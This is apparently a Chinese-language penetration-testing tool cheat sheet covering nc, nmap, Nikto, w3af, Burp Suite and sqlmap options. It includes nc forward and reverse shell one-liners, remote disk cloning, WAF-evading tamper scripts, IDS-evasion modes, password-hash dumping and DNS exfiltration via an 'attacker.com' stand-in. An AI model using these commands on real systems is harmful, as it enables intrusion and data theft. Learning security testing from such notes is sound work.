当前位置:   article > 正文

常用工具使用介绍

192.168.1.180:8001/mark.aspx

端口扫描类:

nc(重点)

  1. 常用参数:-u:      指定为udp,默认监听的是tcp端口-n:      告诉netcat 不要使用DNS反向查询IP地址的域名-v:      详细输出-l:      用于指定nc将处于侦听模式。指定该参数,则意味着nc被当作server,侦听并接受连接,而非向其它地址发起连接。-p:      指定具体端口1.查看端口是否开放以及banner信息
  2. • nc –nv 1.1.1.1 80
  3. 2.NC——传输文本信息
  4. • A:nc -l -p 4444        //Server端监听本机的4444端口
  5. • B:nc –nv 1.1.1.1 4444     //Client端连接Server端的4444端口
  6. 3.NC——传输文件/目录
  7. • 传输文件
  8. • A:nc -lp 333 > 1.mp4
  9. • B:nc -nv 1.1.1.1 333 < 1.mp4 –q 1    //-q 1代表超过1秒没有回应就断开
  10. • 或
  11. • A:nc -q 1 -lp 333 < a.mp4
  12. • B: nc -nv 1.1.1.1 333 > 2.mp4
  13. • 传输目录
  14. • A:tar -cvf - music/ | nc -lp 333 –q 1
  15. • B:nc -nv 1.1.1.1 333 | tar -xvf –
  16. • 加密传文件
  17. • A:nc -lp 333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.mp4
  18. • B: mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv 1.1.1.1 333 -q 1
  19. 4.NC——流媒体服务
  20. • A: cat 1.mp4 | nc -lp 333
  21. • B: 1.1.1.1 333 | mplayer -vo x11 -cache 3000 -
  22. 5.NC——端口扫描
  23. • nc -nvz 1.1.1.1 1-65535
  24. • nc –vnzu 1.1.1.1 1-1024    //u表示UDP端口
  25. 6.NC——远程克隆硬盘
  26. • A: nc -lp 333 | dd of=/dev/sda
  27. • B: dd if=/dev/sda | nc -nv 1.1.1.1 333 –q 1
  28. • 远程电子取证,可以将目标服务器硬盘远程复制,或者内存。
  29. 7.NC——远程控制
  30. • 正向shell:
  31. • A:nc -lp 333 -c bash
  32. • B:nc 1.1.1.1 333
  33. • 反向shell:
  34. • A:nc -lp 333
  35. • B:nc 1.1.1.1 333 -c bash
  36. • 注:Windows用户把bash改成cmd;正向shell打开的是服务端的shell终端,反向shell打开的是客户端的shell终端,因为防火墙的关系,通常反向shell用的比较多
  37. 8.NC——NCAT
  38. • Nc缺乏加密和身份验证的能力
  39. • Ncat包含于nmap工具包中
  40. • A:ncat ncat -c bash --allow 192.168.20.14 -vnl 333 --ssl
  41. • B:ncat -nv 1.1.1.1 333 --ssl

 更多nc命令详解

nmap(重点)

  1. 常用参数:
  2. P开头代表是使用Ping方式
  3. -PU      // UDP Ping方式
  4. -PA      // TCP ACK Ping方式
  5. s开头代表是使用扫描方式
  6. -sU     // UDP扫描
  7. -sS     // TCP SYN扫描
  8. -sT      //-sT (TCP connect()扫描)
  9. -O      //输出操作系统版本信息
  10. 主机发现:
  11. nmap -sn 1.1.1.1-255 //批量扫描1-255
  12. nmap -iL iplist.txt -s //根据txt文件地址进行扫描
  13. • nmap 1.1.1.1-254 -PU53 -sn     // -PU UDP Ping方式
  14. • nmap 1.1.1.1-254 -PA80 –sn     //-PA TCP ACK Ping方式
  15. • nmap -iL iplist.txt -PA80 -sn
  16. • nmap -sU 1.1.1.1          //-sU UDP扫描
  17. • nmap 1.1.1.1 -sU -p 53
  18. • nmap -iL iplist.txt -sU -p 1-200
  19. 隐蔽端口扫描
  20. • nmap -sS 1.1.1.1 -p 80,21,25,110,443     //-sS TCP SYN扫描
  21. • nmap -sS 1.1.1.1 -p 1-65535 --open
  22. • nmap -sS 1.1.1.1 -p- --open
  23. • nmap -sS -iL iplist.txt -p 80,21,22,23
  24. 全连接端口扫描
  25. • nmap -sT 1.1.1.1 -p 80     //-sT   -sT (TCP connect()扫描)
  26. • nmap -sT 1.1.1.1 -p 80,21,25
  27. • nmap -sT 1.1.1.1 -p 80-2000
  28. • nmap -sT -iL iplist.txt -p 80
  29. • 默认1000个常用端口
  30. • nc -nv -w 1 -z 192.168.60.4 1-100     //-n (不用域名解析)    -v (提高输出信息的详细度)
  31. for x in $(seq 20 30); do nc -nv -w 1 -z 1.1.1.1 $x; done | grep open
  32. for x in $(seq 1 254); do nc -nv -w 1 -z 1.1.1.$x 80; done
  33. nmap 172.16.36.135 -sI 172.16.36.134 -Pn -p 0-100    //-sl 僵尸扫描(不常用)
  34. 服务扫描--banner
  35. nmap -sT 1.1.1.1 -p 22 --script=banner
  36. 服务识别
  37. • nc -nv 1.1.1.1 80
  38. • nmap 1.1.1.1 -p 80 -sV
  39. 操作系统
  40. nmap 1.1.1.1 -O

nmap中文手册

nmap进阶(脚本篇)

 

系统扫描类:

Nessus(重点)

OWASP ZAP (重点)

openvas

 

Web侦查类:

Httrack      //下载克隆站点用的,减少与目标系统交互

 

Web漏洞扫描类:

Nikto (重点)

  1. • Perl语言开发的开源Web安全扫描器• 搜索存在安全隐患的文件• 服务器配置漏洞• WEB Application层面的安全隐患• 避免404错误  • 很多服务器不遵守RFC标准,对于不存在的对象返回200状态码  • 依据响应文件类型判断,不同扩展名的文件404响应内容不同  • 去除时间信息后的内容取MD5值  • -no404基本命令:  • nikto -update      //更新nikto(网络允许的情况下做的第一步)
  2.     • cirt.net
  3.     • http://cirt.net/nikto/UPDATES
  4.   • nikto -list-plugins    //列出nikto里面的所有插件
  5.   • nikto -host http://1.1.1.1     
  6.   • nikto -host 192.168.1.1 -ssl -port 443,8443,995   //带ssl方式和端口方式的扫描
  7.   • nikto -host host.txt     //通过一个列表文件批量进行扫描,列表文件格式支持:1、192.168.1.159  2、192.168.1.159:80  3、https://192.168.1.159:8443
  8.   • nmap -p80 192.168.1.0/24 -oG - | nikto -host -     //结合nmap一起使用
  9.   • nikto -host 192.168.1.1 -useproxy http://localhost:8087   //使用代理的方式进行扫描,也可以在配置文件里进行修改
  10.   • -vhos
  11.   • -evation    //使用Libwhisker中对IDS的躲避技术,可使用以下几种类型
  12.     1.随机URL编码(非UTF-8模式)
  13.     2.自选择路径(/./)
  14.     3.过早结束的URL
  15.     4.优先考虑长随机字符串
  16.     5.参数欺骗
  17.     6.使用TAB作为命令的分隔符
  18.     7.使用变化的URL
  19.     8.使用Windows路径分隔符"\"
  20. Nikto-interactive      //nikto扫描的交互模式
  21.   • Space – report current scan status     
  22.   • v – verbose mode on/off     //输出详细信息
  23.   • d – debug mode on/off     //debug调试模式
  24.   • e – error reporting on/off
  25.   • p – progress reporting on/off
  26.   • r – redirect display on/off
  27.   • c – cookie display on/off
  28.   • a – auth display on/off
  29.   • q – quit
  30.   • N – next host
  31.   • P - Pause
  32. Nikto配置文件
  33.   /etc/nikto.conf
  34.     USERAGENT=      //设置UA
  35.     STATIC-COOKIE="cookie1"="cookie value";"cookie2"="cookie valu”     //设置cookie,这样可以扫描需要登录后才能展示的页面

Vega(图形化工具,偏代码层,kali自带)

  1. JAVA编写的WEB开源扫描器
  2. 扫描模式
  3. 代理模式
  4. 爬站、代理表单、注入测试
  5. 支持ssl:http://vege/ca.crt

Skipfish(命令行工具,偏代码层扫描)

  1. C语言编写
  2. 实验性的主动web安全评估工具
  3. 递归爬网
  4. 基于字典的探测
  5. 速度较快
  6. 多路单线程,全异步网络I/O,消除内存管理和调度开销
  7. 启发式内容识别
  8. 误报较低
  9. 基本命令:
  10. skipfish -o test http://1.1.1.1 //将扫描结果输出到test文件
  11. skipfish -o test @url.txt //以txt文件形式获取需要扫描的IP列表
  12. skipfish -o test -S complet.wl -W a.wl http://1.1.1.1 //#字典
  13. -I: 只检查包含"String"的URL
  14. -X: 不检查包含"String"的URL
  15. -k: 不对指定参数进行fuzz测试
  16. -D: 跨站爬另外一个域
  17. -l: 每秒最大请求数
  18. -m: 每IP最大连接数
  19. --config: 指定配置文件
  20. • 身份认证
  21. • skipfish -A user:pass -o test http://1.1.1.1
  22. • skipfish -C “name=val” -o test http://1.1.1.1 //通过扫描抓取获取字段名和值,放入name和val部分
  23. • Username / Password
  24. 命令示例:skipfish -o a --auth-form http://192.168.1.101/dvwa/login.php --auth-form-target http://192.168.1.101/dvwa/login.php --auth-user-field username --auth-user admin --auth-pass-field password --auth-pass 123456 --auth-verify-url http://192.168.1.101/dvwa/index.php -I dvwa http://192.168.1.101/dvwa/
  25. • 扫描结束太快
  26. • 触发了目标站点的连接数限制,降低-m -l数值

W3af(重点,支持图形和命令行,框架型,非常强大,kali2.0里自带版本执行扫描时挂死,需要手动重装)

  1. • Web Application Attack and Audit Framework,基于python 语言开发
  2. • 此框架的目标是帮助你发现和利用所有WEB应用程序漏洞
  3. 9大类近150个plugin
  4.   • audit       //审计相关
  5.   • infrastructure   //基础架构相关
  6.   • grep       //正则过滤相关
  7.   • evasion     //规避规则相关
  8.   • mangle
  9.   • auth       //认证相关
  10.   • bruteforce     //暴力相关
  11.   • output
  12.   • crawl
  13. attack
  14. 安装
  15. • cd ~
  16. • apt-get update
  17. • apt-get install -y python-pip w3af• apt-get install kali-linux-all      //参考,非必要
  18. • pip install --upgrade pip
  19. • git clone https://github.com/andresriancho/w3af.git
  20. • cd w3af
  21. • ./w3af_console (./w3af_gui)
  22. • apt-get build-dep python-lxml  //这一步如果有问题是因为相关的python扩展包没有安装,请移步至第三章
  23. • . /tmp/w3af_dependency_install.sh
  24. W3af
  25. • 升级
  26.   • git pull
  27. • 创建快捷方式
  28.   • /usr/share/applications/w3af.desktop
  29. • 用户接口
  30.   • Console
  31.   • Gui
  32.   • API
  33. • W3af_console
  34.   • help     #显示可用指令
  35.   • plugin     #进入plugin子命令
  36.     • Help     #显示可用命令
  37.     • list audit     #列出audit类所有插件
  38.     • audit sqli xss     #选择使用audit 下的sqli xss
  39.   • http-settings / misc-settings       #全局配置
  40.     • help    
  41.     • view       #查看可配置的参数
  42.     • set        #设置参数
  43.     • back       #回到上一级
  44. • Profiles      用于将设置的规则保存成一个文件,然后通过调用文件去执行
  45.   • save_as self-contained
  46.   • save_as test self-contained
  47. • Target      设置目标
  48.   • set target http://1.1.1.1/
  49. • Start
  50. • Script
  51.   • script/*.w3af
  52. W3af——身份认证
  53. • HTTP Basic    //基本验证,用户名和密码是Windows的用户名和密码
  54. • NTLM      //NTLM验证,用户名和密码同上
  55. • Form      //form表单验证,需要抓包获取字段名
  56. • Cookie      //双因素身份认证 / anti-CSRF tokens
  57. 注:W3af的Cookie身份认证是需要通过文件配置的,对文件配置的要求相当严格
  58. 1.中间的字段分隔符不能用空格只能用tab
  59. 2.第5段数字那一段代表的是Unix时间戳(从1970年1月1日)开始,后面需要加2个0(因为不加的话你取当前的时间戳,过不了多久就会过期)

格式如下图所示:

• HTTP header file(另类的身份认证方法)

  1. W3af——截断代理
  2. • W3af 不支持客户端技术(Javascript、Flash、Java applet等)
  3. • 截断代理手动爬网
  4.   • spider_man
  5.   • output.export_requests
  6.   • http://127.7.7.7/spider_man?terminate     //终止spider_man
  7. • crawl.import_results
  8.   • base64
  9. W3af——其他特性
  10. • exploit
  11. • Fuzzy Requests
  12.   • Numbers from 0 to 4: $range(5)$
  13.   • First ten letters: $string.lowercase[:10]$
  14.   • The words spam and eggs: $[’spam’, ’eggs’]$
  15.   • The content of a file: $[l.strip() for l in file(’input.txt’)]$
  16. • Cluster responses

Arachni(Dispatcher和Grid是其和其他扫描器最大的区别)

• Kali自带了旧的arachni阉割版
• 安装
  • http://www.arachni-scanner.com/download/#Linux
  • tar xvf arachni.tar.gz
  • http://localhost:9292/
    • admin@admin.admin / administrator

 

• Profile
  • Import
  • Export
  • New
• Dispatcher
  • ./arachni_rpcd --address=127.0.0.1 --port=1111 --nickname=test1  //新建扫描的时候选择advanced---->remote可以设定dispatcher(最好是用远程的),可以实现扫描时候的高可用,多条线路,如果某一条被服务器方的管理员给禁掉了,另外其他的会自动切换,nickname指我为这个dispatcher取个昵称
• Grid
  • ./arachni_rpcd --nickname=test2 --address=127.0.0.1 --neighbour=127.0.0.1:1111    //将dispatcher分组,对目标机器进行扫描,分组的目的是可以做到负载均衡,内部会根据dispatcher具体情况自动分配任务给不同的dispatcher
• Scan

 

Owasp-zap(Web扫描必备工具)

• Zed attack proxy
• WEB Application集成渗透测试和漏洞挖掘工具
• 开源免费跨平台,简单易用
• 截断代理
• 主动、被动扫描
• Fuzzy、暴力破解
• API
• http://zap/

 

• Persist Session                  // 持久会话
• Mode——Safe、 Protected、Standard、ATTACK        // 安全模式
• 升级add-ons                // 升级插件
• Scan policy                // 扫描策略
• Anti CSRF Tokens              
• https——CA               //HTTPS证书
• Scope / Contexts / filter          
• Http Sessions——default session tokens & site session tokens  
• Note / tag
• Passive scan

 

• 标准扫描工作流程
• 设置代理
• 手动爬网
• 自动爬网
• 主动扫描

 

Burpsuite(重点,WEB扫描首选,必备工具)

• Web安全工具中的瑞士军刀
• 统一的集成工具发现全部现代WEB安全漏洞
• PortSwigger 公司开发
  • Burp Free
  • Burp Professional
  • http://www.portswigger.net
• 所有的工具共享一个能处理并显示HTTP消息的可扩展框架,模块之间无缝交换信息。
• 字体

 

• Proxy
  • Options
    • Invisible  (主机头 /多目标域名)    
    • CA     (导入/导出)       //证书相关
    • Intercept    (入站/出站)      // 截断,默认开启
    • Response modify            // 响应修改
• Target
  • Scope(logout)
  • Filter
  • Comparing site map

 

 

• Active / Passive Scan
• Extender          //扩展模块很多都需要jython的支持,可以去下面的网址进行下载,在不了解其功能的情况下尽量少装,影响性能
  • BApp Store
    • Jython
    • https://www.jython.org/download
  • Option
  • Scan queue
  • Result

 

Burpsuite——intruder      //重点,可以对于提交的页面进行指定的修改,如通过字典文件破解用户名和密码,最好是用Cluster bomb这种集群模式,需要提供2个字典,user.txt和password.txt然后会逐一进行匹配
• POSITION

• Sniper

Battering ram

• Pitchfork

Cluster bomb

Burpsuite——intruder
• PAYLOAD      //下面是载荷的类型
  • Simple list    
  • Runtime file
  • Character substitution
  • Case modification
  • Character blocks
  • Numbers、Copy other payload
  • Dates、Brute forcer、Character frobber、Username generator
• OPTIONS
  • Grep match

 

Burpsuite——repeater      //重点,经常将请求的页面send至repeater,就可以对其内容进行任意修改然后重新提交给服务器,比如手动测试账号名和密码
• Repeater
  • Request History
  • Change request method
  • Change body encoding
  • Copy as curl command
  • Convert selection
  • Repeater 菜单
    • Engagement tools——generate csrf PoC
    • Follow redirections
    • Process cookies in redirections

 

Burpsuite——Sequencer        //比较少用,大概原理是如果你的sessionID经常变化,可以通过其内置的算法,来进行预测分析下一次可能生成的session ID值
• 分析程序中可预测的数据
  • Session cookies
  • anti-CSRF tokens
  • Start live capture
    • Analyze(数据越多分析越准确)
    • 伪随机数算法
    • Character-level
    • Bit-level
• FIPS—美国联邦信息处理标准(Federal Information Processing Standard)

 

Burpsuite——编码*
• Decoder
  • 使用各种编码绕过服务器端输入过滤
  • smart decode

 

ACUNETIX WEB VULNERABILITY SCANNER(同burpsuite,主要也是web爬网和代理截断的作用,Windows平台下的首选,必备)

• 自动手动爬网,支持AJAX,JAVASCRIPT
• AcuSensor灰盒测试
  • 发现爬网无法发现文件
  • 额外的漏洞扫描
  • 可发现存在漏洞的源码编号
  • 支持 PHP 、 .NET(不获取源码的情况下注入已编编译.NET)
• 生成PCI、27001标准合规报告
• 网络扫描          //非擅长,扫描系统层的服务漏洞首选nessus
• FTP, DNS, SMTP, IMAP, POP3, SSH, SNMP,Telnet
• 集成openvas扫描漏洞

 

• 爬站
• 子域扫描器
• 发现扫描器
• SQL注入验证
• Http editor
• Http sniffer
• HTTP Fuzzer          // 重点
• 身份认证测试
• 结果比较

 

• AcuSensor 安装
  • 生成 agent文件 acu_phpaspect.php(PHP5.0以上)
  • 将文件拷贝到目标服务器,web程序可以访问到的目录
  • 修改 php.ini      // 搜索找到 auto_prepend_file这段,然后将生成的acu_phpaspect.php路径指定上去
    • php_value auto_prepend_file ’[path to acu_phpaspect.php file]’

 

APPSCAN

• Watchfire APPScan,2007年被IBM收购,成为IBM APPScan
• 扫描过程
  • 探索阶段
  • 测试阶段
• 第一个过程发现新的URL地址,下一个扫描过程自动开始
• 软件安装
• 向导方式
• 完全配置

 

• Glass box
  • 相当于 Acusensor
  • Agent收集服务器端源代码信息和其他数据
  • 主持JAVA 、.NET两种平台

 

SQL注入类:

SQLMAP(必备)

命令参数

  1. Target类:
  2. -d   // sqlmap作为客户端直接连接数据库服务器的IP和端口(不是利用SQL漏洞连接)
  3. -u   // 指定要扫描的 URL 如:"http://www.site.com/vuln.php?id=1" (后面必须带参数,仅仅支持Get方法)
  4. -l   // 从Burp 代理的日志文件里面导入进来让sqlmap扫描
  5. -x   // 通过远程的xml站点地图
  6. -m   // 通过指定文件扫描多个目标站点是否存在SQL注入漏洞
  7. -r    // 从一个文件加载http请求
  8. -g   // 利用GoogleHack来进行扫描
  9. -c   // 从一个配置文件加载选项
  10. • Get方法
  11.   • sqlmap -u "http://192.168.20.10/mutillidae/index.php?page=user-info.php&username=11&password=22&user-info-php-submit-button=View+Account+Details" -p username -f // -p 扫描username这个参数是否有注入漏洞
  12. • 扫描URL列表文件
  13.   • http://1.1.1.1/vuln1.php?q=foobar
  14.    http://1.1.1.1/vuln3/id/1*
  15.   • sqlmap -m list.txt
  16. • 扫描google搜索结果
  17.   • sqlmap.py -g "inurl:\".php?id=1\""
  18. • POST方法
  19.   • 使用http请求文件(burpsuite)
  20.     • sqlmap -r request.txt
  21.   • 使用burpsuite log文件
  22.     • sqlmap -l log.txt
  23. • HTTPS
  24.   • sqlmap -u “https://1.1.1.1/a.php?id=1:8843” --force-ssl  // 端口如果不是443,就指定端口8843
  25. • 扫描配置文件
  26.   • sqlmap -c sqlmap.conf
  27. REQUEST类:
  28. --method    // 指定请求的方法,如GET,PUT
  29. --data    // GET、PUT方法都适用,填写你要传给服务器的参数,如:sqlmap -u "http://1.1.1.1/a.php" --data="user=1&pass=2" -f
  30. --param-del   // 指定变量分隔符,默认是 &   如:sqlmap -u "http://1.1.1.1/a.php" --data="q=foo;id=1" --param-del=";" -f
  31. --cookie    // 设定cookie的值        如:sqlmap -u "http://1.1.1.1/a.php?id=1" --cookie="security=low; PHPSESSID=a8d127e.." -f
  32. --cookie-del=COO.. Character used for splitting cookie values (e.g. ;)
  33. --load-cookies=L.. File containing cookies in Netscape/wget format
  34. --drop-set-cookie Ignore Set-Cookie header from response
  35. --user-agent    // 指定user-agent,默认是 sqlmap/1.0-dev-nongit-XXXXXXXXXX  level>=3
  36. --random-agent // 使用随机agent,从/usr/share/sqlmap/txt/user-agents.txt选取  
  37. --host     // 指定host头的值,需要指定Level =5级别
  38. --referer      // http referer地址 level >= 3
  39. -H HEADER, --hea.. Extra header (e.g. "X-Forwarded-For: 127.0.0.1")
  40. --headers     // 添加额外的http头部信息 如:Host、User-Agent 如:sqlmap -u “http://1.1.1.1/a.php?id=1” --headers="Host:www.a.com\nAccept-Language: fr\n" 注意大小写
  41. --auth-type    // 基于http协议协议的身份认证 HTTP 认证类型 (Basic, Digest(摘要身份认证), NTLM(基于Windows的) or PKI) 如:sqlmap. -u "http://1.1.1.1/a.php?id=1" --auth-type Basic --auth-cred "user:pass“
  42. --auth-cred    // HTTP 认证证明 (name:password)
  43. --auth-file     // 基于客户端证书
  44. --ignore-code=IG.. Ignore (problematic) HTTP error code (e.g. 401)
  45. --ignore-proxy // 忽略系统级代理设置,通常用于扫描本地网络目标
  46. --ignore-redirects Ignore redirection attempts
  47. --ignore-timeouts Ignore connection timeouts
  48. --proxy      // 使用代理      如:• sqlmap -u "http://1.1.1.1/a.php?id=1" --proxy="http://127.0.0.1:8087" -f
  49. --proxy-cred   // 代理认证证明(name:password)
  50. --proxy-file   // 通过文件设置代理
  51. --tor Use Tor anonymity network
  52. --tor-port=TORPORT Set Tor proxy port other than default
  53. --tor-type=TORTYPE Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))
  54. --check-tor Check to see if Tor is used properly
  55. --delay    // 设置延迟时间,有利于逃避对方的检测机制(单位为秒)
  56. --timeout   // 请求超时时间,浮点数,默认为30秒
  57. --retries    // 连接超时重试次数,默认3次
  58. --randomize  // 长度、类型与原始值保持一致的前提下,指定每次请求随机值取值的参数名
  59. --safe-url    // 结合--safe-freq参数一起使用,检测和盲注阶段会产生大量失败请求,服务器端可能因此销毁session;每发送--safe-freq次注入请求后,发送一次正常请求
  60. --safe-post=SAFE.. POST data to send to a safe URL
  61. --safe-req=SAFER.. Load safe HTTP request from a file
  62. --safe-freq=SAFE.. Test requests between two visits to a given safe URL
  63. --skip-urlencode // 跳过URL编码,默认Get方法会对传输内容进行编码,某些WEB服务器不遵守RFC标准编码,使用原始字符提交数据
  64. --csrf-token=CSR.. Parameter used to hold anti-CSRF token
  65. --csrf-url=CSRFURL URL address to visit for extraction of anti-CSRF token
  66. --force-ssl   // 强制使用SSL/HTTPS
  67. --chunked Use HTTP chunked transfer encoded (POST) requests
  68. --hpp Use HTTP parameter pollution method
  69. --eval    // 每次请求前执行指定的python代码,每次请求更改或增加新的参数值(时间依赖、其他参数值依赖)
  70.    示例:  sqlmap -u "http://1.1.1.1/a.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"
  71. • --scope
  72.   • 过滤日志内容,通过正则表达式筛选对象
  73.   • sqlmap -l burp.log --scope="(www)?\.target\.(com|net|org)“
  74.   • sqlmap -l 2.log --scope="(19)?\.168\.20\.(1|10|100)" --level 3 --dbs
  75.   • User-agent中的注入点
  76. Optimization类:
  77. -o Turn on all optimization switches
  78. --predict-output Predict common queries output
  79. --keep-alive Use persistent HTTP(s) connections
  80. --null-connection Retrieve page length without actual HTTP response body
  81. --threads=THREADS Max number of concurrent HTTP(s) requests (default 1)
  82. • 优化性能
  83. • --predict-output
  84.   • 根据检测方法,比对返回值和统计表内容,不断缩小检测范围,提高检测效率
  85.   • 版本名、用户名、密码、Privileges、role、数据库名称、表名、列名
  86.   • 与--threads参数不兼容
  87.   • 统计表:/usr/share/sqlmap/txt/common-outputs.txt
  88. • --keep-alive
  89.   • 使用http(s)长连接,性能好
  90.   • 与 --proxy参数不兼容
  91.   • 长连接避免重复建立连接的网络开销,但大量长连接会严重占用服务器资源
  92. • --null-connection
  93.   • 只获取相应页面的大小值,而非页面具体内容
  94.   • 通常用于盲注判断 真 / 假,降低网络带宽消耗
  95.   • 与--text-only参数不兼容(基于页面内容的比较判断 真/假)
  96. • --threads
  97.   • 最大并发线程
  98.   • 盲注时每个线程获取一个字符(7次请求),获取完成后线程结束
  99.   • 默认值为1,建议不要超过10,否则可能影响站点可用性
  100.   • 与 --predict-output 参数不兼容
  101. • -o 开启前三个性能参数 (除--threads参数)
  102. INJECTION类:
  103. -p TESTPARAMETER Testable parameter(s)
  104. --skip=SKIP Skip testing for given parameter(s)
  105. --skip-static Skip testing parameters that not appear to be dynamic
  106. --param-exclude=.. Regexp to exclude parameters from testing (e.g. "ses")
  107. --dbms=DBMS Force back-end DBMS to provided value
  108. --dbms-cred=DBMS.. DBMS authentication credentials (user:password)
  109. --os=OS Force back-end DBMS operating system to provided value
  110. --invalid-bignum Use big numbers for invalidating values
  111. --invalid-logical Use logical operations for invalidating values
  112. --invalid-string Use random strings for invalidating values
  113. --no-cast Turn off payload casting mechanism
  114. --no-escape Turn off string escaping mechanism
  115. --prefix=PREFIX Injection payload prefix string
  116. --suffix=SUFFIX Injection payload suffix string
  117. --tamper=TAMPER Use given script(s) for tampering injection data
  118. • -p
  119.   • 指定扫描的参数,使--level失效
  120.   • -p "user-agent, referer"
  121. • --skip
  122.   • 排除指定的扫描参数
  123.   • --level=5 --skip=“id,user-agent“
  124. • URI注入点
  125.   • sqlmap -u “http://targeturl/param1/value1*/param2/value2*/"
  126. • --dbms=“mysql”
  127.   • MySQL <5.0>
  128.   • Oracle <11i>
  129.   • Microsoft SQL Server <2005>
  130.   • PostgreSQL
  131.   • Microsoft Access
  132.   • SQLite
  133.   • Firebird
  134.   • Sybase
  135.   • SAP MaxDB
  136.   • DB2
  137. • --os
  138.   • Linux
  139.   • Windows
  140. • --invalid-bignum / --invalid-logical
  141.   • 通常sqlmap使用负值使参数取值失效 id=13 ---> id=-13
  142.   • bignum 使用大数使参数值失效 id= 99999999
  143.   • Logical 使用布尔判断使取值失效 id=13 AND 18=19
  144. • --no-cast
  145.   • 榨取数据时,sqlmap将所有结果转换为字符串,并用空格替换NULL结果
  146.   • 老版本mysql数据库需要开启此开关
  147. • --no-escape
  148.   • 处于混淆和避免出错的目的,payload中用单引号界定字符串时,sqlmap使用char()编码逃逸的方法替换字符串
  149.   • SELECT 'foo' --> SELECT CHAR(102)+CHAR(111)+CHAR(111)
  150.   • 本参数将关闭此功能
  151. • --prefix / --suffix
  152.   • $query = "SELECT * FROM users WHERE id=(’" . $_GET[’id’] . "’) LIMIT 0, 1";
  153.   • sqlmap -u "http://1.1.1.1/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "’)" --suffix "AND (’abc’=’abc“
  154.   • query = "SELECT * FROM users WHERE id=(’1’) <PAYLOAD> AND (’abc’=’abc’) LIMIT 0, 1";
  155. • --tamper
  156.   • 混淆脚本,用于绕过应用层过滤、IPS、WAF
  157.   • sqlmap -u “http://1.1.1.1/a.php?id=1” --tamper="tamper/ between.py,tamper/randomcase.py,tamper/space2comment.py" -v 3
  158. DETECTION类:
  159. Detection:
  160. These options can be used to customize the detection phase
  161. --level=LEVEL Level of tests to perform (1-5, default 1)
  162. --risk=RISK Risk of tests to perform (1-3, default 1)
  163. --string=STRING String to match when query is evaluated to True
  164. --not-string=NOT.. String to match when query is evaluated to False
  165. --regexp=REGEXP Regexp to match when query is evaluated to True
  166. --code=CODE HTTP code to match when query is evaluated to True
  167. --text-only Compare pages based only on the textual content
  168. --titles Compare pages based only on their titles
  169. • --level
  170.   • 1-5级,(默认1)
  171.   • /usr/share/sqlmap/xml/payloads
  172. • --risk
  173.   • 1-4 (默认1 / 无害)
  174.   • Risk升高可造成数据被篡改等风险(update)
  175. • --string, --not-string, --regexp, --code, --text-only, --titles
  176.   • 页面比较,基于布尔的注入检测,依据返回页面内容的变化判断真假逻辑,但有些页面随时间阈值变化,此时需要人为指定标识真假的字符串。
  177. Technique类:
  178. These options can be used to tweak testing of specific SQL injection techniques
  179. --technique=TECH SQL injection techniques to use (default "BEUSTQ")
  180. --time-sec=TIMESEC Seconds to delay the DBMS response (default 5)
  181. --union-cols=UCOLS Range of columns to test for UNION query SQL injection
  182. --union-char=UCHAR Character to use for bruteforcing number of columns
  183. --union-from=UFROM Table to use in FROM part of UNION query SQL injection
  184. --dns-domain=DNS.. Domain name used for DNS exfiltration attack
  185. --second-url=SEC.. Resulting page URL searched for second-order response
  186. --second-req=SEC.. Load second-order HTTP request from file
  187. • 默认使用全部技术
  188. • B: Boolean-based blind
  189. • E: Error-based
  190. • U: Union query-based
  191. • S: Stacked queries(文件系统、操作系统、注册表必须)
  192. • T: Time-based blind
  193. • --time-sec
  194.   • 基于时间的注入检测相应延迟时间(默认5秒)
  195. • --union-cols
  196.   • 默认联合查询 1-10列,随--level增加最多支持50列
  197.   • --union-cols 6-9
  198. • --union-char
  199.   • 联合查询默认使用NULL,极端情况下NULL可能失败,此时可以手动指定数值
  200.   • --union-char 123
  201. • --dns-domain
  202.   • 攻击者控制了某DNS服务器,使用此功能可以提高数据榨取的速度
  203.   • --dns-domain attacker.com
  204. • --second-url
  205.   • 在一个页面注入的结果,从另一个页面体现出来
  206.   • --second-url http://1.1.1.1/b.php
  207. Fingerprinter类:
  208. -f, --fingerprint   Perform an extensive DBMS version fingerprint
  209. • -f , --fingerprint, -b , --banner
  210. • 数据库管理系统指纹信息
  211. • DBMS, 操作系统,架构,补丁Enumeration类:
  212. These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements
  213. -a, --all   // 返回所有信息
  214. -b, --banner // 返回数据库banner信息
  215. --current-user // 返回当前数据库用户
  216. --current-db // 返回当前数据库
  217. --hostname // 返回当前主机名
  218. --is-dba
  219. --users // 返回数据库中存在的用户
  220. --passwords // 枚举数据库用户密码哈希值
  221. --privileges // 枚举数据库用户权限
  222. --roles // 枚举数据库用户角色
  223. --dbs // 枚举所有数据库
  224. --tables // 枚举数据表
  225. --columns // 枚举列
  226. --schema // 枚举数据库的schema信息
  227. --count // 统计数据表有多少条数据
  228. --dump Dump DBMS database table entries
  229. --dump-all Dump all DBMS databases tables entries
  230. --search Search column(s), table(s) and/or database name(s)
  231. --comments Check for DBMS comments during enumeration
  232. -D DB // 指定数据库
  233. -T TBL // 指定表
  234. -C COL DBMS database table column(s) to enumerate
  235. -X EXCLUDE DBMS database identifier(s) to not enumerate
  236. -U USER DBMS user to enumerate
  237. --exclude-sysdbs // 枚举表的时候排除系统数据库
  238. --pivot-column=P.. Pivot column name
  239. --where=DUMPWHERE Use WHERE condition while table dumping
  240. --start=LIMITSTART First dump table entry to retrieve
  241. --stop=LIMITSTOP Last dump table entry to retrieve
  242. --first=FIRSTCHAR First query output word character to retrieve
  243. --last=LASTCHAR Last query output word character to retrieve
  244. --sql-query=QUERY SQL statement to be executed
  245. --sql-shell Prompt for an interactive SQL shell
  246. --sql-file=SQLFILE Execute SQL statements from given file(s)
  247. BRUTE FORCE类:
  248. • Mysql < 5.0 , 没有information_schema 库
  249. • Mysql >= 5.0 但无权读取information_schema 库
  250. • 微软的access数据库,默认无权读取MSysObjects 库
  251. • --common-tables
  252. • --common-columns (Access系统表无列信息)
  253. UDF INJECTION类:(用户定义函数注入类),高级用法,对SQL层面要求较高
  254. • --udf-inject , --shared-lib
  255.   • 编译共享库创建并上传至 DB Server,以此生成UDF实现高级注入
  256.   • Linux : shared object
  257.   • Windows :DLL
